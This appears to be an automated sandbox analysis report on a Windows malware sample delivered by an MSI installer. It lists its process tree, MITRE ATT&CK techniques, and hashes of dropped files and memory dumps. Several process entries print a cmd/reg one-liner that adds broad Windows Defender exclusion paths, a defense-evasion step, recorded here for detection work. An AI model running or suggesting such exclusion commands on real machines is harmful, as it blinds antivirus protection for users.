
C:\Windows\system32\cmd.exe
cmd.exe
1⤵
PID:2536

C:\Windows\system32\cmd.exe
"cmd.exe" /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\ProgramData" /t REG_DWORD /d 0 /f
1⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:6024
- C:\Windows\System32\reg.exe
  reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\ProgramData" /t REG_DWORD /d 0 /f
  2⤵
  - Windows security bypass
  PID:4196

C:\Windows\system32\cmd.exe
"cmd.exe" /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users" /t REG_DWORD /d 0 /f
1⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:5496
- C:\Windows\System32\reg.exe
  reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users" /t REG_DWORD /d 0 /f
  2⤵
  - Windows security bypass
  PID:5672

C:\Windows\system32\cmd.exe
"cmd.exe" /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Program Files (x86)" /t REG_DWORD /d 0 /f
1⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:2636
- C:\Windows\System32\reg.exe
  reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Program Files (x86)" /t REG_DWORD /d 0 /f
  2⤵
  - Windows security bypass
  PID:1808

C:\Windows\system32\cmd.exe
"cmd.exe" /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Admin\Documents" /t REG_DWORD /d 0 /f
1⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:5636
- C:\Windows\System32\reg.exe
  reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Admin\Documents" /t REG_DWORD /d 0 /f
  2⤵
  - Windows security bypass
  PID:1100

C:\Program Files (x86)\Bcjbvl\XCmaVi.exe
"C:\Program Files (x86)\Bcjbvl\XCmaVi.exe"
1⤵
- Executes dropped EXE
- Loads dropped DLL
- System Location Discovery: System Language Discovery
PID:4484

C:\Program Files (x86)\8zNn1\EagDMWKS.exe
"C:\Program Files (x86)\8zNn1\EagDMWKS.exe"
1⤵
PID:1588

C:\Windows\system32\cmd.exe
"cmd.exe" /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Program Files (x86)\Bcjbvl" /t REG_DWORD /d 0 /f
1⤵
- Executes a command shell one-liner
PID:5588
- C:\Windows\System32\reg.exe
  reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Program Files (x86)\Bcjbvl" /t REG_DWORD /d 0 /f
  2⤵
  PID:1236

C:\Windows\system32\cmd.exe
"cmd.exe" /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Program Files (x86)" /t REG_DWORD /d 0 /f
1⤵
- Executes a command shell one-liner
PID:1244
- C:\Windows\System32\reg.exe
  reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Program Files (x86)" /t REG_DWORD /d 0 /f
  2⤵
  PID:5832

C:\Windows\system32\cmd.exe
"cmd.exe" /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Admin\Documents" /t REG_DWORD /d 0 /f
1⤵
- Executes a command shell one-liner
PID:5840
- C:\Windows\System32\Conhost.exe
  \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
  2⤵
  PID:2124
- C:\Windows\System32\reg.exe
  reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Admin\Documents" /t REG_DWORD /d 0 /f
  2⤵
  PID:3476

C:\ProgramData\maWa9B2s.exe
"C:\ProgramData\maWa9B2s.exe"
1⤵
PID:5200

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Windows Command Shell

T1059.003

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

System Services

T1569

Service Execution

T1569.002

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Create or Modify System Process

T1543

Windows Service

T1543.003

Event Triggered Execution

T1546

Installer Packages

T1546.016

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Privilege Escalation

Abuse Elevation Control Mechanism

T1548

Bypass User Account Control

T1548.002

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Create or Modify System Process

T1543

Windows Service

T1543.003

Event Triggered Execution

T1546

Installer Packages

T1546.016

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Defense Evasion

Abuse Elevation Control Mechanism

T1548

Bypass User Account Control

T1548.002

File and Directory Permissions Modification

T1222

Impair Defenses

T1562

Disable or Modify Tools

T1562.001

Indicator Removal

T1070

Clear Persistence

T1070.009

Modify Registry

T1112

System Binary Proxy Execution

T1218

Msiexec

T1218.007

Credential Access

Discovery

Peripheral Device Discovery

T1120

Query Registry

T1012

System Information Discovery

T1082

System Location Discovery

T1614

System Language Discovery

T1614.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Service Stop

T1489

Replay Monitor

Loading Replay Monitor...

Downloads

e5986ea.rbs

Path C:\Config.Msi\e5986ea.rbs
Size 7KB
SHA256 01b00c9d4344a985255b4f1be4128513fb468652180b6bff07d5d6920603d0e3
MD5 3f22dc9701d6fb67e6508ba679f9677a
SHA1 fba57e4aaffd6d5d3a2c1cbe499f883fc6ac9847
SHA512 c5b93c6271c9832b8108b55584ee081515bbea77ed941494f5eac0badfc286b1edd47d6000e076df4206099ea0de9e8b06a271afc1ab388114dd23bafe3cb593
SSDEEP 96:eRDgu0CnyaUU8U1CsThq/U8U1C6j4/xpThqjHsS56TWt8dWCKpljfzIjByy:eRACxzrIIVrI3CA3Kpa
TLSH
T1F2F13001B31196D2E9911B75CB830B1637F2D3DEA720735B089E80685F573887EE67AB
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

XPSPLOG.dll

Path C:\Program Files (x86)\8zNn1\XPSPLOG.dll
Size 4.6MB
SHA256 9eeb899e0a7233e4e28eac992fd6f46e4d33c576e9bda091ff2637646bb5a7f1
MD5 93b0272a14dc6286f68c63858277c00d
SHA1 b74aa4cc4e93444e1008f361a99421365118f3e5
SHA512 d5b22dc1c6fa79d824cd1ca62dd5f93d632c414a61fb50e735f27392e2458eba542fd3d1b22e3912e48411db049f24d7fb1332066f0950b28f34932b7a5eb46d
SSDEEP 98304:yCMWmcKfST5t+BceThTHfaCCUqmJPCYvboB1fdmyT:BMWKfU+BcUTHCCCfqCiUffnT
TLSH
T146263349BADB025DD89672704F6AFD7EB2B92CCC4204DC4DD44DE587E8B2729703A90E
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

image.png

Path C:\Program Files (x86)\8zNn1\image.png
Size 5.0MB
SHA256 dcddcee37896778760370e8aeacdc1d9a6ef5ed5eea466560ad308696f3c5d43
MD5 a9e945a3db9cd136a0a71359ae1cb2b9
SHA1 98331700064f5dce1f21667b74524b32d1c4c1a0
SHA512 5544bece1167aa0c9c77c7a3f533768aedfed8ee62558ea04cc0fb013cbf8dec19668cd98496b726707de488951078ec6aa08594f19fe5e922ce26538f90bd66
SSDEEP 98304:EqvO3/u21dcwj8esL9KK5MMrOalZpUC/IQdFOrMeifpHcmI0DoKoxGhUX:g/u21dGs2rOal3UpkiMT59IZVGhW
TLSH
T14E363325135D318B6AD6C2DCDF91617AE6814BF0E880CDB837D92FB3527CEBA7088645
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

XCmaVi.exe

Path C:\Program Files (x86)\Bcjbvl\XCmaVi.exe
Size 145KB
SHA256 6d6ba2bc9ad414837826f7278bc3e0116f1aeda02d0c2284ed65819f5d9180a8
MD5 5251b98614acffe5c856f4039ca03da3
SHA1 c80ed6716e89d4862f28ebbc130ec5aa362db963
SHA512 d750c9adb08d9525ee9948c0c18c96f0c9520068aa4aa24885ac0d98790a6cc0a8ce0e71e1c669acd4623e0aabfc08c11c02be403f275b01aa4277c4ddab3302
SSDEEP 3072:VafgcZGuY2TqWLGzwRC7kll1xtBQDTCCvtzaYPFPR/M:Yz8upLGaPQDnFzaYPFdM
TLSH
T16AE30852B6808460F76A0B311864F9E44A6EED3C1AD0E95FF2787D3A1E311C38A7756F
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

XPSPLOG.dll

Path C:\Program Files (x86)\Bcjbvl\XPSPLOG.dll
Size 4.6MB
SHA256 c30a41ab5779776347b0e9a84ade4dfbfa8fb2a25d744c6f23deb9713b8bc852
MD5 e6b9607fe45314eca573eb40f187c6e6
SHA1 6fea90930cc18e3a0684b53d62edff65e4e4171f
SHA512 ee355487238c113129aa8f3f162c7be53c082212d10b115a5da3e7cc6454421c9e59e0bc0ff015803cecd803d83a499a16482b751939cb25700a4e2890e368c2
SSDEEP 98304:yCMWmcKfST5t+BceThTHfaCCUqmJPCYvboB1fdmyM:BMWKfU+BcUTHCCCfqCiUffnM
TLSH
T1E6263349BADB025DD89672704F6AFD7EB2B92CCC4204DC4DD44DE587E8B2729703A90E
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

image.png

Path C:\Program Files (x86)\Bcjbvl\image.png
Size 5.0MB
SHA256 a372e8fbe4d5feea918580030c5db4b01833080a33fcfdcb8128b2c826041fcd
MD5 b393ae0b91f39ca31e07d12277352da2
SHA1 9a588f746b3ee6031473aeb287e9eaf08606f1cd
SHA512 fe986c2e4c9ba15a60b72ca00af6361d065b3fb043484ca4f9bcb95fa9db4de188458bff4fe45ec086b75c6797d73be6e3c957b9a98dc69ffd5fd66820aaa12a
SSDEEP 98304:/qvO3/u21dcwj8esL9KK5MMrOalZpUC/IQdFOrMeifpHcmI0DoKoxGhUX:v/u21dGs2rOal3UpkiMT59IZVGhW
TLSH
T1BC363325135D318B6AD6C2DCDF91617AE6814BF0E880CDB837D92FB3527CEBA7088645
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

thumbs.db

Path C:\Program Files (x86)\Bcjbvl\thumbs.db
Size 358KB
SHA256 a32d918a1797c23bbdf98029bf9ab41d1b08a78de73f7b425ed29fd4607c4860
MD5 07e31531c2cec93f22f0123566cbc305
SHA1 c1d4e1e2eafb5d50e1398a04b9433b2418d5b7d3
SHA512 dcf284888556f2ae5402b7a748b4d2538da298a444d42ffc3f4c3069013289ce4d38999be6ea4d242b408536207a8d0d0034fc193fef37e0229440f1065ea4c8
SSDEEP 6144:GiACk/u6n9aBOmmD1oQFu0oMOxKnJPWyD9Dcqt1oFsnrqW7mb/:J8u69CghoQxoMTFQqtKFCz7mb/
TLSH
T19974F268E6651EFE0E175FECE04F58AE9A8FD9E302C900252BF1C6D1CA106E4941FD5E
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

maWa9B2s.exe

Path C:\ProgramData\maWa9B2s.exe
Size 2.8MB
SHA256 e9d355299c8fe3cc8ad35032692c1fce75cdbfa80e28176eed1ddbb95a9a4c4e
MD5 cab461c5555da157508d05b2b3513dce
SHA1 695de13b7e494499983ecfec33f751853765dab6
SHA512 6e2f0ac63a616f4626d922938cb87dd29077d9d338a04d253eb28445c30347ec988348e09d99252b565a0e0c013e970d98b53021b6a3159c5c6b82e6f6b11da1
SSDEEP 49152:ZMxc9EYuffdhu5OviynjUzXPIGEvVcV0Sxx/O/ndIC4nv4ajQQVWmDfvKEs+TpQ:igu9hviynj8Ip+nxVEenv4iQQVkEK
TLSH
T15BD523B49ECB11EADEC10974A703DBE73AB5199248D68C347AC13805B173FB7216E52B
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

0DA515F703BB9B49479E8697ADB0B955_4136D3715888E22D65EBE484B233D81B

Path C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\0DA515F703BB9B49479E8697ADB0B955_4136D3715888E22D65EBE484B233D81B
Size 1KB
SHA256 9acc61ae16e6a5cbe00f70202e322e80607ab04d93c795607aefb6379ed88380
MD5 89a59c44ac2caeafe65c0132378b08d3
SHA1 22f542537947bd9bbee0827716368672e7ff41c9
SHA512 8bc379059d0d5d64d441cd49c5d96c8f8b6e90515a76cdf0dd505c2b0f3920abb9f937370d7e75e2d5cba5d32d57e23a960aca1715ba8e5208669a278814542e
TLSH
T1682119C54EB168A0BF811F4336D0CA369DE216C158EC006F9231D9A815107D87F25B1D
MD5 SHA1 SHA512 TLSH

Submit Download

B039FEA45CB4CC4BBACFC013C7C55604_FA4759C1FDA1D5B56F6A969553761240

Path C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\B039FEA45CB4CC4BBACFC013C7C55604_FA4759C1FDA1D5B56F6A969553761240
Size 1KB
SHA256 72e0fecca06f7a5fcb876c23e5193a686132ae43ef256e12f56f329611403bd0
MD5 f3ddf4d3f8db7ce688b2533e51a611cc
SHA1 579c1b53ad0d547963acc6a2b3cde22842f80820
SHA512 38378f6aeeb5611fe5372c00342d0ebd4ded42d4e4ef128bda5c941335020b9340ef9f35f96155d0321f7152fc771a27a3917c7f0d8359230cec2e60c8f74bcf
TLSH
T1B421B65FCABD0C85AA168E9206CCE1B33CEAE2D545CC080EE00FD6343C0238B2F0256C
MD5 SHA1 SHA512 TLSH

Submit Download

D077F3BA01F0F2293C650040B1B80D25_316FB5D99935E27840887D26EA90D4BD

Path C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\D077F3BA01F0F2293C650040B1B80D25_316FB5D99935E27840887D26EA90D4BD
Size 1KB
SHA256 9447e946f36a5e98f2dc9fb751889d86ae55251dc99e6c4cd9e5f746d9f25174
MD5 3f3d9cdaf0f90147d08b80c5a0153211
SHA1 28d2c17939c9a363f76821eab964e2e621a76fad
SHA512 ad62d67039c09c3796a31802a8d08c95e9a4d4c5fb2a34cbcde9abc46bf1ae203be065d51095ce81853dbe0a4eabb3fc025f2253c116eedf680c84a867133af7
TLSH
T17621E943A87D24401B06DC9A4CDADFB31C66F5EA5DD87510503270ACD6003D36F0C9CE
MD5 SHA1 SHA512 TLSH

Submit Download

0DA515F703BB9B49479E8697ADB0B955_4136D3715888E22D65EBE484B233D81B

Path C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\0DA515F703BB9B49479E8697ADB0B955_4136D3715888E22D65EBE484B233D81B
Size 508B
SHA256 a79e6239e271a85dec503c938f66dc7ba174515ad9bd2c55879163f062e233b3
MD5 aaa28e32b06c0e44595c42ce1507ca90
SHA1 0164e387cd1a04b9af1713b4104691b7e949c15b
SHA512 9eac0844f9eb7df4e60dc9ea1c003211b20ff555711cde19bd8111a46751fd3db3e6104423ad9869acef1ce0414e05ed3a232478d346db4c88d4988b4393aed9
TLSH
T17BF05C3C5AF9022AF131C93A5FCA3961DA7BE65A301542A927D04B0DB502E067D9267A
MD5 SHA1 SHA512 TLSH

Submit Download

B039FEA45CB4CC4BBACFC013C7C55604_FA4759C1FDA1D5B56F6A969553761240

Path C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\B039FEA45CB4CC4BBACFC013C7C55604_FA4759C1FDA1D5B56F6A969553761240
Size 510B
SHA256 e5921bec05cf5524a25e1510ae69ac98b9b77d08137b4f084968736cb0a03b3e
MD5 b9fd7dcc7d80bdc2a2af4898e7bb8860
SHA1 72dc12570a29599fba087bf5b6ea9577c12c18aa
SHA512 6250d7d7f999cfe5d4ca1013c174ce7d2954b66752bd24980e31633567f7f9c003771b27034e52cbec6528acc1a10e436a445c3820902700940508be9c62eee8
TLSH
T16FF0DC1818F46018F233CF3CA1E127F18517F913200106FD0A9A0F296B47E123C82679
MD5 SHA1 SHA512 TLSH

Submit Download

D077F3BA01F0F2293C650040B1B80D25_316FB5D99935E27840887D26EA90D4BD

Path C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\D077F3BA01F0F2293C650040B1B80D25_316FB5D99935E27840887D26EA90D4BD
Size 540B
SHA256 b585d20807aa1a1269dc5895e24952c4254056acc1a4fea9d345be1e085a4baa
MD5 b768a3cd8c0398d5d9dc2d7e8d6fe170
SHA1 d39313c2b21b79fdc225fc96323d770b29173091
SHA512 3154218d04c93f736f16e50d0145e4e85fc83c15406fe78564dee98dcbfe575ebe3018c39a5e78244e608978c8738c916b3a7822a0b554807d6a5890a9af7bbc
TLSH
T161F09E2C68BA405CF0B7DD780BD461352865F946B40145AE0AF947187D54F007CE2B29
MD5 SHA1 SHA512 TLSH

Submit Download

StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 1KB
SHA256 fb5a8e1586f6503e473e98e1a7895c0272d549c09aaa81eb110f551de035852f
MD5 d75bb763ace2008875111cfe272fc79e
SHA1 41bcb3ae7322d75e218446a64075e72d05fd63cf
SHA512 ac1be976c72e5913d989d141aacda5255456f74197d5855ba89940c24c7983067ed661ef91c82e732577593449ada2dadcadf0c0489bc0550a76c1c3df813a84
TLSH
T126219833B3CC8210C89A413A10CDAC1036B6C7DB80DECFAB7B84E659A42F698CE60160
MD5 SHA1 SHA512 TLSH

Submit Download

__PSScriptPolicyTest_1gbqz5yr.5mb.ps1

Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_1gbqz5yr.5mb.ps1
Size 60B
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
TLSH
T177A02228CC303B200020C0080A000002C00B800C080C8C0220000A00B20B820002F080
MD5 SHA1 SHA512 TLSH

Submit Download

destopbak.ini

Path C:\Users\Public\Music\destopbak.ini
Size 2B
SHA256 dd1e2826c0124a6d4f7397a5a71f633928926c0608b62fb9e615ba778acc39ff
MD5 7e74f75663e5b5a4f3452a4c603ee45d
SHA1 d5114b086b721f2c87ea7152025792958ab4c629
SHA512 2f5d0d45593487bebc2ccf968eaf2a4a3bde1d5a29c7c2b5ad411e041c0d3b7a46be439ed7083093057a96030683b9defbed1a2ef7882b3e64cf3fbc7c9cf12f
MD5 SHA1 SHA512

Submit Download

UxEnhance64.dll

Path C:\Users\Public\mgk0Vu\UxEnhance64.dll
Size 3.1MB
SHA256 32e34b4b0066f6d1be971938b6adccaed23d545b879d8f3ae00bba6f0533a48e
MD5 27567bd6a4073d38cb9559d238298de2
SHA1 cac930b17c7f316848b56aea35699719a8754525
SHA512 a12db78a4383ee3fcaeea03bd3847da4e68f275a6cda7087677876ebf8634f67da1a7819b2e7a1ec6f3bf4a27b5e2fd03617595e8685cd64d0d3df74ce902340
SSDEEP 49152:P9KpI8cBa0kj6BK0x3TiMQclkGo2PXk6rkwuuWG/+WizBedfb77N3SnKrKB+I:P9m29xx3Tiqt06ox6+z2rNNrKoI
TLSH
T1DDE523E5B6D739F6D023CBF4DA62A1AD70393F505F635C5F3B8929014E62228973A390
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

XtU4y7.exe

Path C:\Users\Public\mgk0Vu\XtU4y7.exe
Size 135KB
SHA256 676a2a7b94ca2f8ec76352ee656e4d075bb342bd7ad6efbc7c19c060001eace7
MD5 9ec587911e501b73b7cf09f05d0ae17d
SHA1 5b62403cc9a668c6e5c70ace177fd54fcc4c5936
SHA512 d05468a472373815c46ccb46ec743408365d24982d10d8a23ee0036c28cf3dacd05d74304ef2d4b7118f91ff3f631f676b2e86ddee92a02cf988b0d3c6247847
SSDEEP 3072:MmhXb5pgtiaRENEErO9Uj4OqhhUvB4BNgQaJ:MmjgtiayGErsUKh3To
TLSH
T1D0D38C2776A474F9E1778635C8511A1AE772B8760770CB9F03A442A62F237D19E3EF20
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

adoresd.dat

Path C:\Users\Public\mgk0Vu\adoresd.dat
Size 4.7MB
SHA256 05e38830caef263a2428a51e0a09e1d8686687fb9d1338b15e39889413033beb
MD5 5e6571908433cd9663644bb8e419d328
SHA1 8d78b32267321897a8b261ffd5ed55d5ae766fd2
SHA512 dbc1e7140eed5f7ff398de743829536a6d6d89a5f7ba929819ea5bf136b40377b0277e077ef100259782f6e4ec4f8c40bac562727cb6d1ceeb3683f8173e9b50
SSDEEP 98304:Amu1SwODpRGIRdXEMZYe6rFLoTTpMk6ZGvQv0Ss2i+XZXea1v5WZd8uCp:bu1SwOflfZPF6Ma0bsoa5+qd
TLSH
T19E3633368AE6F5C7E35B2A0AF36888DD12B0B7AD6E9D75C24AF074145DB30CE9015BC4
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

msadox.tb

Path C:\Users\Public\mgk0Vu\msadox.tb
Size 8KB
SHA256 4350374988d2b4294106ce8caa422fb00db808ce779ce79f19c3ef16b7e80cc2
MD5 36fb0f118aec797cea168f66e1baecf2
SHA1 f962eaf8ce2cc1933c7f11ba4912a22591a5ea5f
SHA512 aef5520f4ecc660a85a19bb5a6e564a6003874c7c14f95b8116f9ec6b18ea994afe192086a40cbb5a6521f025644e9196276715e3ddf7c025fa72d678ff0e163
SSDEEP 192:bqbZajnZ45X1q3JXglD+3vR8cwNhIMCGe2y0PQp:bsZqZOXQ3uqvR2Kfzp
TLSH
T1C2029E05D7A20CC3D2016C71CD9EB2F5AB13A1DADA3926719C67D4C167072DE2CE620D
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

MSI8D05.tmp

Path C:\Windows\Installer\MSI8D05.tmp
Size 5.9MB
SHA256 2f8b6c5e032d4c5bd4b81da9657562e1d68a517cefe9cf9700f0a95289bdf1e9
MD5 bc06b463a0903283607eea26f1f18f0e
SHA1 88e0de56b0f4996e407723a83582e33d78802df9
SHA512 3fa39a3dd5d4dc1b51a72dd70967d0c666e84c2011960f5577da15105dd82c8813ace1872c2a050a4aea4831fabeb397b5be540b5f3bf57d9bb3929f451f47ca
SSDEEP 98304:Ob0FNRDreX52pFNMs3JViayv+JNokBHzzuuyuYBvtKCrUGG7tgdvnRdGDH:ObWNxG2T2s3uvDkhGuyuYBvFrG7I/yT
TLSH
T13D5633D16D853375D0AFC3B0464631DE722A37C47E9B9C0B39E4A7146F23B2A9876389
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

e5986e9.msi

Path C:\Windows\Installer\e5986e9.msi
Size 5.9MB
SHA256 d7ce3436a4054d0a131828963446199a323f8d6055d6e7cc9d46c5d20e5890a0
MD5 29f787d374eb55d42e135be5eba34beb
SHA1 f10983716a4d50a23d0aeecc74ff830f829fc968
SHA512 9c4dd39adbffc9860279394a3bf2170d3dcaa1fef1dc9d7131764e4916b25ee192d875ae9a23a358021967aabd2757b129bbd2071252617f2c919de59af7460c
SSDEEP 98304:bb0FNRDreX52pFNMs3JViayv+JNokBHzzuuyuYBvtKCrUGG7tgdvnRdGDI:bbWNxG2T2s3uvDkhGuyuYBvFrG7I/yE
TLSH
T1305633D17D852375C09FC3B14656319E722A3FC47E9B9C0B39E4B7142A33B2998B6389
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

metadata-2

Path \??\GLOBALROOT\Device\HarddiskVolumeShadowCopy2\System Volume Information\SPP\metadata-2
Size 26.1MB
SHA256 b8659e088ff054dbeb1c9704c2892c44a85a8738123daa55b7f41b49204fa8cf
MD5 e205f2aa422180be763ba1ee976ec928
SHA1 e9b5e67f92591e508b32f01ce7a363e79b9372bc
SHA512 5b4146e655aa88f911aadae135543102932e334f9e02d936a6c07769995d3e4e0ef0a42c43546e4f1a974a94baf973905b2fade8bbd2a8418572dbcecea23a0f
SSDEEP 24576:PFo3DMPQdoO/vvTL/yAsMilQPrOWX7rf0R6e9BCE65iqpLNMMoR2s12NoeG:yH4
TLSH
T14C57B51436F92100E7F79E3CA8F06A234D397D5BAC19DE8D45511B8E0922F71E872F6A
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

{7e119ecf-6e42-4837-84f1-10a4136a1dda}_OnDiskSnapshotProp

Path \??\Volume{c61fbfff-0000-0000-0000-d08302000000}\System Volume Information\SPP\OnlineMetadataCache\{7e119ecf-6e42-4837-84f1-10a4136a1dda}_OnDiskSnapshotProp
Size 6KB
SHA256 34beb51aba73e0161a519d1731283ab589ce02f9eb83b64a1bf0a64c60738efd
MD5 1c99efc9d9fc384983855ec8873f7dcc
SHA1 ddc44c1341495eb68d6721635348a92d22cf2509
SHA512 d3287308b8e5f0abef4a569ed13334ba5a83d44f20141edb9b0164dadd74b77ddbb63eab862f7b3dba384ef98f299af4b32cb43dadd6f0686f8f3b409e87e218
SSDEEP 96:FdNxW5mOlDvc6DD84LTHzbOHXOHBlBRQn8Sc9XE56tOSVQpu:ZU3l/b++uVm
TLSH
T181D188081AE54711E2B3AB3229F18557A877B811EF33CB8E0198238E6671910F935F6B
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

xxxx.ini

Path \??\c:\xxxx.ini
Size 2B
SHA256 7eb70257593da06f682a3ddda54a9d260d4fc514f645237f5ca74b08f8da61a6
MD5 81051bcc2cf1bedf378224b0a93e2877
SHA1 ba8ab5a0280b953aa97435ff8946cbcbb2755a27
SHA512 1b302a2f1e624a5fb5ad94ddc4e5f8bfd74d26fa37512d0e5face303d8c40eee0d0ffa3649f5da43f439914d128166cb6c4774a7caa3b174d7535451eb697b5d
MD5 SHA1 SHA512

Submit Download

memory/1588-269-0x00000000013E0000-0x00000000013E1000-memory.dmp

Download

memory/1588-257-0x0000000073140000-0x000000007388A000-memory.dmp

Download

memory/1588-256-0x00000000013E0000-0x00000000013E1000-memory.dmp

Download

memory/1588-267-0x0000000003B00000-0x0000000004307000-memory.dmp

Download

memory/1588-263-0x0000000003B00000-0x0000000004307000-memory.dmp

Download

memory/1588-265-0x0000000001740000-0x0000000001741000-memory.dmp

Download

memory/1600-97-0x00000153766F0000-0x0000015376712000-memory.dmp

Download

memory/1600-100-0x0000015376720000-0x000001537673E000-memory.dmp

Download

memory/1600-101-0x0000015376740000-0x00000153767F2000-memory.dmp

Download

memory/1600-102-0x00000153766E0000-0x00000153766EA000-memory.dmp

Download

memory/2380-70-0x0000023BBBFF0000-0x0000023BBC881000-memory.dmp

Download

memory/2380-83-0x0000023BBC920000-0x0000023BBC9AA000-memory.dmp

Download

memory/2380-68-0x0000023BBBFF0000-0x0000023BBC881000-memory.dmp

Download

memory/2380-69-0x0000023BBBFF0000-0x0000023BBC881000-memory.dmp

Download

memory/2380-71-0x0000023BBBFF0000-0x0000023BBC881000-memory.dmp

Download

memory/2380-90-0x0000023BBBFF0000-0x0000023BBC881000-memory.dmp

Download

memory/2380-75-0x0000023BBBFF0000-0x0000023BBC881000-memory.dmp

Download

memory/2380-64-0x0000023BBBFF0000-0x0000023BBC881000-memory.dmp

Download

memory/2380-63-0x00007FFE83060000-0x00007FFE83062000-memory.dmp

Download

memory/2380-88-0x0000023BBBFF0000-0x0000023BBC881000-memory.dmp

Download

memory/2380-86-0x0000023BBC920000-0x0000023BBC9AA000-memory.dmp

Download

memory/2380-85-0x0000023BBC920000-0x0000023BBC9AA000-memory.dmp

Download

memory/2380-61-0x0000023BBBFF0000-0x0000023BBC881000-memory.dmp

Download

memory/2380-81-0x0000023BBB560000-0x0000023BBB5AE000-memory.dmp

Download

memory/2380-82-0x0000023BBC920000-0x0000023BBC9AA000-memory.dmp

Download

memory/2380-55-0x00007FFE83050000-0x00007FFE83052000-memory.dmp

Download

memory/2380-56-0x00007FFE5F6A0000-0x00007FFE5FBBE000-memory.dmp

Download

memory/3824-285-0x00000000054D0000-0x00000000054F2000-memory.dmp

Download

memory/3824-288-0x0000000005CA0000-0x0000000005D06000-memory.dmp

Download

memory/3824-291-0x0000000005E60000-0x0000000005EC6000-memory.dmp

Download

memory/3824-275-0x0000000002A60000-0x0000000002A96000-memory.dmp

Download

memory/3824-292-0x0000000005ED0000-0x000000000622B000-memory.dmp

Download

memory/3824-296-0x0000000005E30000-0x0000000005E4E000-memory.dmp

Download

memory/3824-297-0x0000000006800000-0x000000000684C000-memory.dmp

Download

memory/3824-278-0x00000000055B0000-0x0000000005BFA000-memory.dmp

Download

memory/3880-38-0x00007FFE7A690000-0x00007FFE7A6A2000-memory.dmp

Download

memory/3880-16-0x00007FFE7A690000-0x00007FFE7A6A2000-memory.dmp

Download

memory/3880-13-0x00007FFE5F580000-0x00007FFE5FBB6000-memory.dmp

Download

memory/3880-12-0x00007FFE83050000-0x00007FFE83052000-memory.dmp

Download

memory/4484-262-0x0000000001020000-0x0000000001021000-memory.dmp

Download

memory/4484-244-0x0000000003430000-0x0000000003C37000-memory.dmp

Download

memory/4484-239-0x0000000074CE0000-0x000000007542A000-memory.dmp

Download

memory/4484-238-0x0000000001020000-0x0000000001021000-memory.dmp

Download

memory/4484-254-0x0000000003430000-0x0000000003C37000-memory.dmp

Download

memory/4484-253-0x0000000001040000-0x0000000001041000-memory.dmp

Download

memory/5016-224-0x0000000002E30000-0x0000000003637000-memory.dmp

Download

memory/5016-183-0x0000000074CE0000-0x000000007542A000-memory.dmp

Download

memory/5016-271-0x00000000060C0000-0x00000000060F1000-memory.dmp

Download

memory/5016-276-0x0000000002E30000-0x0000000003637000-memory.dmp

Download

